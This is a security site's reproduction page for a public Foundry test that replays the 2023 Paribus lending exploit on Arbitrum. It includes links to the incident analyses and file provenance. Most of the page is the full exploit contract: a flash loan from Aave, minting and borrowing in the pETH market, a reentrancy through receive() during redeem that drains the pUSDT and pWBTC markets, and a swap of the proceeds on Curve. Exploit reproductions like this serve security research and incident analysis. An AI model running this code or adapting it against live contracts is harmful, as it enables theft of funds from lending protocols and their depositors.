Public reproduction file
src/test/2023-04/Paribus_exp.sol
Public reproduction file for dataset entry Paribus.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/Phalcon_xyz/status/16457426208979558429// https://twitter.com/BlockSecTeam/status/164574465535757517010// https://twitter.com/peckshield/status/164574229690492928011// @TX12// https://arbiscan.io/tx/0x0e29dcf4e9b211a811caf00fc8294024867bffe4ab2819cc1625d2e9d62390af13// @Summary14// a known reentrancy issue from the forked old version of CompoundV216interface CurvePool {17 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;18}20contract ContractTest is Test {21 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);22 IWFTM WETH = IWFTM(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));23 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);24 ICErc20Delegate pUSDT = ICErc20Delegate(0xD3e323a672F6568390f29f083259debB44C41f41);25 ICErc20Delegate pWBTC = ICErc20Delegate(0x367351F854506DA9B230CbB5E47332b8E58A1863);26 ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);27 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);28 IUnitroller unitroller = IUnitroller(0x2130C88fd0891EA79430Fb490598a5d06bF2A545);29 CurvePool curvePool = CurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);30 Exploiter exploiter;31 uint256 nonce;33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);35 function setUp() public {36 cheats.createSelectFork("arbitrum", 79_308_097);37 cheats.label(address(WBTC), "WBTC");38 cheats.label(address(USDT), "USDT");39 cheats.label(address(WETH), "WETH");40 cheats.label(address(pUSDT), "pUSDT");41 cheats.label(address(pETH), "pETH");42 cheats.label(address(pWBTC), "pWBTC");43 cheats.label(address(aaveV3), "aaveV3");44 cheats.label(address(curvePool), "curvePool");45 }47 function testExploit() external {48 payable(address(0)).transfer(address(this).balance);49 address[] memory assets = new address[](2);50 assets[0] = address(WETH);51 assets[1] = address(USDT);52 uint256[] memory amounts = new uint256[](2);53 amounts[0] = 200 * 1e18;54 amounts[1] = 30_000 * 1e6;55 uint256[] memory modes = new uint256[](2);56 modes[0] = 0;57 modes[1] = 0;58 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);59 exchangeUSDTWBTC();61 emit log_named_decimal_uint(62 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()63 );64 }66 function executeOperation(67 address[] calldata assets,68 uint256[] calldata amounts,69 uint256[] calldata premiums,70 address initiator,71 bytes calldata params72 ) external payable returns (bool) {73 USDT.approve(address(aaveV3), type(uint256).max);74 WETH.approve(address(aaveV3), type(uint256).max);75 USDT.approve(address(pUSDT), type(uint256).max);76 WBTC.approve(address(pWBTC), type(uint256).max);78 exploiter = new Exploiter();79 WETH.transfer(address(exploiter), 100 * 1e18);80 cheats.label(address(exploiter), "exploiter");81 exploiter.mint();83 WETH.withdraw(WETH.balanceOf(address(this)));84 payable(address(pETH)).call{value: address(this).balance}("");85 pUSDT.mint(USDT.balanceOf(address(this)));86 address[] memory cTokens = new address[](2);87 cTokens[0] = address(pETH);88 cTokens[1] = address(pUSDT);89 unitroller.enterMarkets(cTokens);90 pETH.borrow(13_075_471_156_463_824_220);91 pETH.redeem(pETH.balanceOf(address(this))); // Reentrancy enter point93 exploiter.redeem();94 payable(address(WETH)).call{value: address(this).balance}("");95 return true;96 }98 receive() external payable {99 if (nonce == 2) {100 pUSDT.borrow(USDT.balanceOf(address(pUSDT)));101 pWBTC.borrow(WBTC.balanceOf(address(pWBTC)));102 }103 nonce++;104 }106 function exchangeUSDTWBTC() internal {107 USDT.approve(address(curvePool), type(uint256).max);108 WBTC.approve(address(curvePool), type(uint256).max);109 curvePool.exchange(0, 2, USDT.balanceOf(address(this)), 0);110 curvePool.exchange(1, 2, WBTC.balanceOf(address(this)), 0);111 }112}114contract Exploiter is Test {115 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);116 ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);118 function mint() external payable {119 WETH.withdraw(WETH.balanceOf(address(this)));120 payable(address(pETH)).call{value: address(this).balance}("");121 }123 function redeem() external payable {124 pETH.redeem(pETH.balanceOf(address(this)));125 payable(address(WETH)).call{value: address(this).balance}("");126 WETH.transfer(msg.sender, WETH.balanceOf(address(this)));127 }129 receive() external payable {}130}Analysis
Dataset entry
Public Foundry test for “Paribus” (2023-04-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
- src/test/2025-01/Paribus_exp.solSame protocol or name in the dataset · 188 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/Phalcon_xyz/status/1645742620897955842
- Reference: https://twitter.com/BlockSecTeam/status/1645744655357575170
- Reference: https://twitter.com/peckshield/status/1645742296904929280
- Explorer: https://arbiscan.io/tx/0x0e29dcf4e9b211a811caf00fc8294024867bffe4ab2819cc1625d2e9d62390af
File record
- Name
- Paribus
- Path
- src/test/2023-04/Paribus_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 02d93eedf58b9cf5e7990b4091f2f8e74c64aa7a
- Language
- Solidity
- Size
- 131 lines
- Date
- 2023-04-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/Paribus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 02d93eedf58b9cf5e7990b4091f2f8e74c64aa7a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.